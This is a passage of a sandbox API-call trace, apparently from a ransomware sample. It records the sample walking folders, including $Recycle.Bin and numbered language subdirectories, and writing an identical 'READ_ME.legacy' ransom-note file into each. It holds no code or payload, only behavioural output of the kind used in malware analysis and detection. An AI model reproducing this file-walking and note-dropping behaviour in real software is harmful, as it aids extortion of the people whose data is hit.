RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0067.238] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\READ_ME.legacy" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0067.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0067.239] WriteFile (in: hFile=0x450, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.240] CloseHandle (hObject=0x450) returned 1 [0067.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0067.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0067.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0067.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.240] FindNextFileW (in: hFindFile=0x552da0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0067.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55a638 [0067.241] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55aa60 [0067.241] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb83a2b2c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5531e0 [0067.241] SetLastError (dwErrCode=0x12) [0067.242] GetLastError () returned 0x12 [0067.242] SetLastError (dwErrCode=0x12) [0067.242] GetLastError () returned 0x12 [0067.242] SetLastError (dwErrCode=0x12) [0067.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55aa98 [0067.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0067.242] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb83a2b2c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0067.242] SetLastError (dwErrCode=0x12) [0067.242] GetLastError () returned 0x12 [0067.242] SetLastError (dwErrCode=0x12) [0067.242] GetLastError () returned 0x12 [0067.242] SetLastError (dwErrCode=0x12) [0067.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55aa98 [0067.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0067.242] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1025", cAlternateFileName="")) returned 1 [0067.243] SetLastError (dwErrCode=0x12) [0067.243] GetLastError () returned 0x12 [0067.243] SetLastError (dwErrCode=0x12) [0067.243] GetLastError () returned 0x12 [0067.243] SetLastError (dwErrCode=0x12) [0067.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0067.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0067.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0067.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0067.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0067.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0067.243] GetLastError () returned 0x12 [0067.243] SetLastError (dwErrCode=0x12) [0067.243] GetLastError () returned 0x12 [0067.243] SetLastError (dwErrCode=0x12) [0067.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0067.244] SetLastError (dwErrCode=0x12) [0067.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0067.244] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1025\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.246] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.247] CloseHandle (hObject=0x454) returned 1 [0067.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0067.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0067.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0067.247] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1028", cAlternateFileName="")) returned 1 [0067.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0067.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0067.248] GetLastError () returned 0x0 [0067.248] SetLastError (dwErrCode=0x0) [0067.248] GetLastError () returned 0x0 [0067.248] SetLastError (dwErrCode=0x0) [0067.248] GetLastError () returned 0x0 [0067.248] SetLastError (dwErrCode=0x0) [0067.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0067.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bf8 [0067.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0067.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0067.248] GetLastError () returned 0x0 [0067.248] SetLastError (dwErrCode=0x0) [0067.248] GetLastError () returned 0x0 [0067.249] SetLastError (dwErrCode=0x0) [0067.249] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0067.249] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0067.249] GetLastError () returned 0x0 [0067.249] SetLastError (dwErrCode=0x0) [0067.249] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0067.249] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1028\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0067.252] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.253] CloseHandle (hObject=0x454) returned 1 [0067.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0067.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.253] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1029", cAlternateFileName="")) returned 1 [0067.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0067.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0067.253] GetLastError () returned 0x0 [0067.254] SetLastError (dwErrCode=0x0) [0067.254] GetLastError () returned 0x0 [0067.254] SetLastError (dwErrCode=0x0) [0067.254] GetLastError () returned 0x0 [0067.254] SetLastError (dwErrCode=0x0) [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0067.254] GetLastError () returned 0x0 [0067.254] SetLastError (dwErrCode=0x0) [0067.254] GetLastError () returned 0x0 [0067.254] SetLastError (dwErrCode=0x0) [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0067.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0067.254] GetLastError () returned 0x0 [0067.254] SetLastError (dwErrCode=0x0) [0067.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0067.254] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1029\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0067.257] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.258] CloseHandle (hObject=0x454) returned 1 [0067.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0067.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0067.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0067.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0067.259] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1030", cAlternateFileName="")) returned 1 [0067.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0067.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0067.259] GetLastError () returned 0x0 [0067.259] SetLastError (dwErrCode=0x0) [0067.259] GetLastError () returned 0x0 [0067.259] SetLastError (dwErrCode=0x0) [0067.259] GetLastError () returned 0x0 [0067.259] SetLastError (dwErrCode=0x0) [0067.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0067.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0067.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0067.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0067.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0067.259] GetLastError () returned 0x0 [0067.260] SetLastError (dwErrCode=0x0) [0067.260] GetLastError () returned 0x0 [0067.260] SetLastError (dwErrCode=0x0) [0067.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0067.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.260] GetLastError () returned 0x0 [0067.260] SetLastError (dwErrCode=0x0) [0067.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0067.260] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1030\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0067.262] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.263] CloseHandle (hObject=0x454) returned 1 [0067.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0067.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0067.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0067.264] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1031", cAlternateFileName="")) returned 1 [0067.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0067.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0067.264] GetLastError () returned 0x0 [0067.264] SetLastError (dwErrCode=0x0) [0067.264] GetLastError () returned 0x0 [0067.264] SetLastError (dwErrCode=0x0) [0067.265] GetLastError () returned 0x0 [0067.265] SetLastError (dwErrCode=0x0) [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0067.265] GetLastError () returned 0x0 [0067.265] SetLastError (dwErrCode=0x0) [0067.265] GetLastError () returned 0x0 [0067.265] SetLastError (dwErrCode=0x0) [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0067.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0067.265] GetLastError () returned 0x0 [0067.265] SetLastError (dwErrCode=0x0) [0067.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0067.266] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1031\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0067.268] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.269] CloseHandle (hObject=0x454) returned 1 [0067.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0067.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0067.270] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1032", cAlternateFileName="")) returned 1 [0067.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0067.270] GetLastError () returned 0x0 [0067.270] SetLastError (dwErrCode=0x0) [0067.270] GetLastError () returned 0x0 [0067.270] SetLastError (dwErrCode=0x0) [0067.270] GetLastError () returned 0x0 [0067.270] SetLastError (dwErrCode=0x0) [0067.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0067.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0067.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0067.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0067.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0067.271] GetLastError () returned 0x0 [0067.271] SetLastError (dwErrCode=0x0) [0067.271] GetLastError () returned 0x0 [0067.271] SetLastError (dwErrCode=0x0) [0067.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0067.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.271] GetLastError () returned 0x0 [0067.271] SetLastError (dwErrCode=0x0) [0067.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0067.271] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1032\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0067.274] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.275] CloseHandle (hObject=0x454) returned 1 [0067.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0067.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0067.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0067.276] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1033", cAlternateFileName="")) returned 1 [0067.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0067.276] GetLastError () returned 0x0 [0067.276] SetLastError (dwErrCode=0x0) [0067.276] GetLastError () returned 0x0 [0067.276] SetLastError (dwErrCode=0x0) [0067.276] GetLastError () returned 0x0 [0067.276] SetLastError (dwErrCode=0x0) [0067.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0067.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c98 [0067.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0067.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0067.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0067.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0067.277] GetLastError () returned 0x0 [0067.277] SetLastError (dwErrCode=0x0) [0067.277] GetLastError () returned 0x0 [0067.277] SetLastError (dwErrCode=0x0) [0067.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0067.277] GetLastError () returned 0x0 [0067.277] SetLastError (dwErrCode=0x0) [0067.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0067.277] CreateFileW (lpFileName="\\588bce7c90097ed212\\1033\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\1033\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0067.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0067.280] WriteFile (in: hFile=0x454, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.281] CloseHandle (hObject=0x454) returned 1 [0067.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0067.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0067.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0067.281] FindNextFileW (in: hFindFile=0x5531e0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, 